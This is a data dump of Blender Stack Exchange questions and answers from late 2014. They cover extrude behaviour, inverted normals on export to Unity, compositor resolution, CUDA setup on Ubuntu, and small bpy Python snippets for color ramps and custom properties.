  <row Id="19321" PostTypeId="1" CreationDate="2014-11-28T23:25:38.077" Score="8" ViewCount="14636" Body="&lt;p&gt;Not sure what I did to mess it up but now when I press &lt;kbd&gt;E&lt;/kbd&gt; to extrude it is set to the z axis.  It has always been axis free when initially pressing &lt;kbd&gt;E&lt;/kbd&gt; and you had to press &lt;kbd&gt;Z&lt;/kbd&gt; to lock it to that axis. Now I have to press &lt;kbd&gt;Z&lt;/kbd&gt; to unlock it first, I would prefer not to have to do that every time I extrude.&lt;/p&gt;&#xA;" OwnerUserId="8241" LastEditorUserId="2217" LastEditDate="2014-11-28T23:52:10.250" LastActivityDate="2019-06-30T17:36:39.857" Title="why is extrude locked to z axis" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19322" PostTypeId="2" ParentId="19321" CreationDate="2014-11-28T23:40:03.673" Score="4" Body="&lt;p&gt;Middle clicking after hitting &lt;kbd&gt;E&lt;/kbd&gt; wil unsnap something from an axis.&#xA;this is the same for translating, scaling, or rotating an object.&#xA;Middle click again and your target will snap back to the nearest axis.&#xA;This is much faster than hitting the keys for the respective axis, and if used right, can make modelling faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why yours wasn't snapped in the first place, I don't know. Mine has always from default.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-11-28T23:40:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19323" PostTypeId="2" ParentId="19317" CreationDate="2014-11-28T23:53:11.210" Score="2" Body="&lt;p&gt;One way to get this would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add a plane, in &lt;em&gt;Edit Mode&lt;/em&gt; subdivide &lt;kbd&gt;W&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Poke &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2HOgy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In top view &lt;kbd&gt;Numpad-7&lt;/kbd&gt; rotate 45° &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;4&lt;/kbd&gt; &lt;kbd&gt;5&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale along X-Axis &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select one of the new (poked) vertices and select &lt;em&gt;Amount of connecting edges&lt;/em&gt; from the &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; popup&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move the selected vertices upward &lt;kbd&gt;G &lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4rqm4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;em&gt;Object Mode&lt;/em&gt; add a Subdivision Surface* modifier with subdivisions set to 3:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lOoqU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bake the normals of the resulting mesh to an unwraped plane and use the image as normal map. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-29T00:07:08.607" LastActivityDate="2014-11-29T00:07:08.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19325" PostTypeId="1" AcceptedAnswerId="19327" CreationDate="2014-11-29T00:21:29.810" Score="3" ViewCount="5785" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/unaJ4.jpg&quot; alt=&quot;Part of my mesh is inversed when I imported it into Unity, and I don&amp;#39;t know why&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I modeled this sword and all the parts were separate meshes. I used a mirror modifier when I was modeling and then I applied the modifier when I was done to make the parts into solid meshes.&#xA;Put a UV map on everything and it all looked good in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I put it into Unity and I got what you see in the picture. Part of the sword is inversed. Oddly, the inversed part actually maintains the proper silhouette. It maintains the correct shape, but then is shaded like the front half is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea of what's going on and how to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;James&lt;/p&gt;&#xA;" OwnerUserId="6271" LastActivityDate="2014-11-30T04:28:56.600" Title="Why is my mesh inversed when Imported to Unity?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;shaders&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19326" PostTypeId="2" ParentId="19299" CreationDate="2014-11-29T00:23:52.420" Score="7" Body="&lt;p&gt;The main problem is that baking with Cycles is still fairly new, less than one year at the time of writing.  Blender's various exporters were designed before this and they are built upon the older Blender Render(Internal) Material system.  Here is a print-screen of the main Blender Render Material System.  Although BI has nodes as well, I'm not so sure they will work well with exporting either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLDze.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So let's go back to Cycles for a moment.  Here is a setup that has a texture which was baked using Cycles bake.  The baked texture is chosen by a node as seen in the node editor but the current problem is that this node will not be recognized by the various exporters as being a texture that should be exported along with the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUFEj.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of one difficulty that can make upgrading the various exporters to work with Cycles a bit complicated.  There are three textures in the following node setup.  One bake-to texture, one texture for the diffuse color input and one normal map.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KP9fK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it could be decided that the texture which is not attached to anything should be the texture to be exported as the main color texture, however, Cycles nodes allow for more than one node group as shown in the following image.  The setup shown would make consistent and reliable exporting very difficult but it makes the Cycles material system very flexible.  These two ideas conflict.  It's not at all clear for this situation which baked texture(s) should be exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DjkVg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for now what you can do is switch to Blender Render and deactivate the Nodes as shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZigRi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now click the tabbed icon for textures that is to the right of the Material tab icon and add a texture slot.  Next, assign the baked texture to this slot.  (Now you should be able to export without too many problems.)*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PU64P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*as I mentioned in the comment earlier, leaving the Cycles nodes intact but deactivated can still cause the exporter problems.  For simple scenes it doesn't always happen but with a complex scene that has 100 models and hundreds of textures all linked into the Cycles nodes system, things can get hairy for the exporter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The textures may be detected but the exporter may not know what they mean and it could fail because of this.&lt;br&gt;&#xA;The SketchFab exporter was doing this to me this past spring.  It's probably better to save the .blend and create a duplicate of it and then just delete all the Cycles materials and build them up again using Blender Render(Internal) from the start.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a nuisance but until someone with coding skill finds the time to deal with it, this is what we are stuck with. (unless someone knows something I don't and they would like to share.) :)&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-29T00:23:52.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19327" PostTypeId="2" ParentId="19325" CreationDate="2014-11-29T00:36:05.073" Score="2" Body="&lt;p&gt;One possible reason for this could be that the normals actually were inverted in Blender but if you have Backface Culling disabled then the mesh could look right even though it's not.  The lighting may look weird but the polygons will look like they are facing outwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E3QX1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Backface culling is an optimization that disables shading on polygons that are not supposed to ever be seen.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in Edit Mode, you can activate a tool that will show you which direction the normals are pointing in.  Just make sure that the size is adjusted appropriately for the model's scale otherwise you may not see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKBoF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To correct the normals, you can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;n&lt;/kbd&gt; which is also shown in the following image as a toolbar button labeled &lt;strong&gt;Recalculate&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also selectively flip the direction of faces using the button labeled &lt;strong&gt;Flip Direction&lt;/strong&gt; which can also be located in the Faces Menu &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;f&lt;/kbd&gt; with the alternate name &lt;strong&gt;Flip Faces&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tTzSD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The different names are a mistake, both use bpy.ops.mesh.flip_normals())&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-11-30T04:28:56.600" LastActivityDate="2014-11-30T04:28:56.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19328" PostTypeId="1" AcceptedAnswerId="19329" CreationDate="2014-11-29T01:50:57.713" Score="6" ViewCount="1779" Body="&lt;p&gt;So, I made a video, and what to edit it using nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The viewer node shows the image as it should; however the Compositor node outputs the image zoomed in by 50%. Is there a reason to this? I have the same node connected to both the Compositor and Viewer nodes.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="3078" LastEditDate="2014-11-29T19:10:01.553" LastActivityDate="2016-11-11T03:33:48.053" Title="Compositor renders video zoomed in" Tags="&lt;video&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19329" PostTypeId="2" ParentId="19328" CreationDate="2014-11-29T03:02:08.770" Score="7" Body="&lt;p&gt;You've just stumbled upon a unique feature of the compositor!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, if your Scene&gt;Dimensions&gt;Resolution settings are not at 100% you won't see your full image.&#xA;The compositor doesn't automatically rescale images (or video) to fit the size used in the dimension's settings. When you render at 50% resolution, for example, it considers the composition to be half the number of pixels. The images in the image nodes get partially displayed because the picture size in pixels is not the same any more, but twice the size of the comp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The workaround, if you want to work at a smaller resolutions, is to use a &lt;strong&gt;scale node&lt;/strong&gt; with values that match your render settings. (But don't forget to turn it off a the end when you do the final render at full res!)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RNnab.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-11-11T03:33:48.053" LastActivityDate="2016-11-11T03:33:48.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19330" PostTypeId="1" CreationDate="2014-11-29T05:06:02.080" Score="2" ViewCount="606" Body="&lt;p&gt;Why transparent background option hide volume emission?&#xA;I use Cycles render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blendfiles:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33111&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33111&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33112&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33112&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1M5m0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8120" LastActivityDate="2014-11-29T05:06:02.080" Title="Transparent background hide volume emision (cycles)" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;&lt;volumetrics&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-11-29T17:49:30.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="19331" PostTypeId="1" CreationDate="2014-11-29T05:47:19.003" Score="1" ViewCount="422" Body="&lt;p&gt;I have a scene that has a particle system and other objects. The particles are an object with a pure glossy shader. I have a plane that I have setup as an emission shader to reflect off the particles. However it is washing the other object in the scene. Is there a way to have my emission shader only affect the particle system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2014-11-29T14:52:00.897" Title="Is there a way to have my emission shader only affect the particle system?" Tags="&lt;particles&gt;&lt;shaders&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-29T17:49:43.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="19333" PostTypeId="2" ParentId="19331" CreationDate="2014-11-29T08:14:52.340" Score="0" Body="&lt;p&gt;What you want is &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lights/Lights_In_Other_Contexts&quot; rel=&quot;nofollow noreferrer&quot;&gt;light groups&lt;/a&gt;. Well, the light groups feature hasn't been implemented in Cycles yet. If you wanna separate lighting on different objects, including particles, using Cycles, you might use render layers. &lt;a href=&quot;https://blender.stackexchange.com/questions/983/exclusive-lighting&quot;&gt;Here's&lt;/a&gt; a solution for a practically the same question as yours. &lt;/p&gt;&#xA;" OwnerUserId="8170" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-11-29T14:52:00.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19335" PostTypeId="2" ParentId="19321" CreationDate="2014-11-29T11:00:19.587" Score="7" Body="&lt;p&gt;Pressing &lt;kbd&gt;E&lt;/kbd&gt; performs &quot;Extrude and Move on Normals&quot;, for a basic cube extruding the top face will appear to be extruding on the global z-axis while extruding a side face will match the x or y axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know which version you think this performed different, not certain with 2.5x but I have 2.62 through to 2.72 available here and they all work that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a chance that you had a bad habit before. Pressing &lt;kbd&gt;E&lt;/kbd&gt; will extrude and start moving the new geometry, right-clicking will cancel the move, but you can right-click again on the selected face/s and start moving the new extrusion. Maybe you had been cancelling and picking up the geometry without realizing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change this behaviour if you wish by opening the preferences and adjusting the method used. While in the Input settings search for extrude and adjust the one saying &quot;Extrude and Move on Normals&quot; under Mesh. When you expand it you will see a text field with &lt;code&gt;view3d.edit_mesh_extrude_move_normal&lt;/code&gt; - change that to &lt;code&gt;mesh.extrude_region_move&lt;/code&gt;. This should give the behaviour you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slBxf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then Save User Settings so that it is set that way each time you use blender.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-29T11:00:19.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19336" PostTypeId="1" CreationDate="2014-11-29T11:31:59.150" Score="2" ViewCount="4551" Body="&lt;p&gt;Yes, I've read this &lt;a href=&quot;https://blender.stackexchange.com/questions/7485/enabling-gpu-rendering-for-cycles&quot;&gt;post&lt;/a&gt; already. But it didn't work. Now I'm looking for more information and ways to diagnose the problem... and perhaps find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base system is an Ubuntu machine (14.04 LTS), 64 bit, and a GTX 970.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GTX 970 is a &quot;rather new&quot; card and is not supported by the proprietary nvidia driver that &quot;comes&quot; with 14.04.  You have to install version 343.22 which is available via the &lt;em&gt;xorg/edgers&lt;/em&gt; &lt;strong&gt;ppa&lt;/strong&gt; repo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, as mentioned &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?355600-GPU-rendering-with-gtx-970-on-ubuntu&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, the utility &lt;em&gt;nvidia-moprobe&lt;/em&gt; has to be installed, to give non-root users access to CUDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, they also recommend to install the newest development build from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://builder.blender.org/download/&lt;/a&gt;, as 2.72b does not support the GTX 970/980 (no idea why), and to install CUDA 6.5 from &lt;a href=&quot;https://developer.nvidia.com/cuda-downloads#linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;nvidia&lt;/a&gt; for the CUDA 6.5 toolkit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done all this, but it's still not working. Along the way, I came across some conflicting information, which I hope some of you can clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read on various sites, that the GTX 970/980 is only supported starting from nvidia driver 343.22, and CUDA 6.5. So I think this is a given fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which means, that I can't use the CUDA library from the &lt;strong&gt;main&lt;/strong&gt; Ubuntu repo, which is v5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some postings I've read that the builds from the buildbot contain a pre-compiled CUDA kernel and installing the CUDA toolkit is not necessary, in other &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2014-August/002051.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;places&lt;/a&gt; a CUDA update is recommended for better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-331/+bug/1361207&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ubuntu bug report&lt;/a&gt; regarding the &lt;em&gt;nvidia-modprobe&lt;/em&gt;, however I have no idea if this also relates to Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently the current Blender build (2240c26, Nov. 28, 2014) does not recognize the GTX 970 in the described configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;nvidia-settings&lt;/em&gt; utility confirms that 343.22 is running on my system. And the GTX 970 is listed there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does the builderbot version come with a CUDA kernel and if so, is it 6.5 compatible? If not, is there a way to tell Blender to use the external toolkit (short of compiling from source)?&lt;/li&gt;&#xA;&lt;li&gt;Which devices does Blender use under Linux to access CUDA? I.e. is  &lt;em&gt;nvidida-modprobe&lt;/em&gt; necessary, and if so, how can I tell that it is working?&lt;/li&gt;&#xA;&lt;li&gt;What does the developer build have, that 2.72b hasn't, that is needed here?&lt;/li&gt;&#xA;&lt;li&gt;Are there any switches when starting blender, that might shed some light why it does not use CUDA?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thank you for reading this far :) - any help is welcome.&lt;/p&gt;&#xA;" OwnerUserId="5556" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-11-29T22:01:18.057" Title="How to enable CUDA on Ubunutu 14.04 for a GTX 970?" Tags="&lt;rendering&gt;&lt;gpu&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19337" PostTypeId="2" ParentId="19289" CreationDate="2014-11-29T12:06:39.480" Score="5" Body="&lt;p&gt;While I don't think you can add a new property to an object that can hold the colour ramp data you can display a duplicate of an existing colour ramp in your own panel if you want to. As you want to display the colour ramp that exists within the nodes of an existing material, this can be done with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cr_node = bpy.data.materials['Material'].node_tree.nodes['ColorRamp']&#xA;layout.template_color_ramp(cr_node, &quot;color_ramp&quot;, expand=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the name of the colour ramp node may change you will need a way to choose which colour ramp to display, or show all colour ramps in the current material.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-29T12:06:39.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19338" PostTypeId="1" CreationDate="2014-11-29T14:18:31.677" Score="2" ViewCount="772" Body="&lt;p&gt;The below given image is rendered with 1000 samples with appropriate light settings but the final rendered image is coming as smudged.&#xA;Is there any solution to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t121i.png&quot; alt=&quot;Wine Glasses&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT : please find the link for .blend file below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5pwuQ_y8BGXaURWMWxOLUVlWWc/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B5pwuQ_y8BGXaURWMWxOLUVlWWc/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8246" LastEditorUserId="8246" LastEditDate="2014-11-30T04:39:54.157" LastActivityDate="2014-12-01T00:43:23.357" Title="What is creating smudging in my render?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" ClosedDate="2014-11-30T17:34:12.007" ContentLicense="CC BY-SA 3.0" />
  <row Id="19339" PostTypeId="1" CreationDate="2014-11-29T14:22:52.133" Score="2" ViewCount="27" Body="&lt;p&gt;So if you look a the image I extruded the side and filled a face at top, the bottom is empty and I wanted to create a loop around the 3 sides but it will only appear for one side any tips. &lt;img src=&quot;https://i.stack.imgur.com/iPpTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7822" LastEditorUserId="5705" LastEditDate="2014-11-29T14:37:31.217" LastActivityDate="2014-11-29T14:37:31.217" Title="Loopcut not creating" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-11-29T17:49:16.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="19340" PostTypeId="1" AcceptedAnswerId="19550" CreationDate="2014-11-29T15:30:44.967" Score="3" ViewCount="1065" Body="&lt;p&gt;I have created a custom property and want to set a minimum and a maximum for it through python; I tried to make it using &lt;code&gt;bpy.ops.wm.properties_edit&lt;/code&gt; but it didn't work,so how can I edit a custom property with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how I defined my property:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[name of my object]['name of my property'] = 2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="3078" LastEditDate="2014-12-04T18:28:45.197" LastActivityDate="2014-12-04T18:28:45.197" Title="How to set minimum and maximum fields of a custom ID property using Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19341" PostTypeId="1" AcceptedAnswerId="19415" CreationDate="2014-11-29T16:12:48.703" Score="0" ViewCount="2613" Body="&lt;p&gt;I am trying to paint textures onto an object in 3D paint in 2.72b that has several textures. The first texture in the list is a color and the second is a bump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that texture paint will only paint the first texture in the list. In edit mode I have the correct texture selected, shading is set to GLSL solid textured but Blender is ignoring whatever is selected in edit and only using the first texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tex1 - color&#xA;&lt;br&gt;tex2 - bump&#xA;&lt;br&gt;If I go into edit mode and select the color texture as active and go back to object paint it paints the color map.&#xA;&lt;br&gt;If I go into edit mode and select the bump texture as active and go back to object paint it paint the color map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting that I've missed or should I head over to the bug tracker? &lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-12-01T17:19:37.663" Title="Problem painting multiple textures on same object" Tags="&lt;texture-painting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19342" PostTypeId="2" ParentId="16481" CreationDate="2014-11-29T16:35:29.747" Score="3" Body="&lt;p&gt;Blender internal can use GLSL for baking so you can bake normal as well as black and white bump maps from one object to another. As long as the bump map texture is attached to the material of the source object it will work. As yet cycles can't so you can only bake actual geometry with cycles. If you want to use normal or bumps as a source for baking you need to use BI.&lt;/p&gt;&#xA;" OwnerUserId="493" LastActivityDate="2014-11-29T16:35:29.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19343" PostTypeId="1" AcceptedAnswerId="19344" CreationDate="2014-11-29T16:41:26.813" Score="3" ViewCount="795" Body="&lt;p&gt;I want to make a simple cylinder box that has a very simple twist lock. I have seen a lot of maze puzzle boxes on the net but I just want something simple. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally The lid will have 3 'L' shaped recesses in it that a lip with 3 pins in the base will key into. The lid presses down with the pins in the recess and then a twist to close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OohZi.png&quot; alt=&quot;Pot Base&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] I found the torus mesh. It seems like I need to play with some maths but this is kind of what I'm after, but without the continuous loop really (oh, and imagine a closed top).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dpr5g.png&quot; alt=&quot;Pot lid&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone provide any good examples or links on how to do this easily.&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="241" LastEditDate="2014-11-29T18:40:06.493" LastActivityDate="2014-11-29T18:43:27.593" Title="How to create recesses in a curved surface?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19344" PostTypeId="2" ParentId="19343" CreationDate="2014-11-29T18:38:03.733" Score="7" Body="&lt;p&gt;Anything that has to be cut into a curved surface, I tend to build flat and curve into shape later. Using this method I have a model of one 'L' section and a bezier circle (origins of both objects matching each other):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89av6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an Array modifier with a count of '3', followed by a Subsurf set to '2' subdivisions and finally a Curve modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zoMKD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mxlpx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using modifiers allows you to easily manipulate the original non-curved section, while also seeing how it will look when curved into a circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are happy, modifiers can be applied and the two ends of the circle can be merged (either by &lt;kbd&gt;W&lt;/kbd&gt;&gt; &lt;em&gt;Remove Doubles&lt;/em&gt;, if the vertices are close enough, or more manual merging if they are not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that increasing the resolution of the curve on the curve's 'Data' tab will improve results. This example had a curve resolution of 30.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-29T18:43:27.593" LastActivityDate="2014-11-29T18:43:27.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
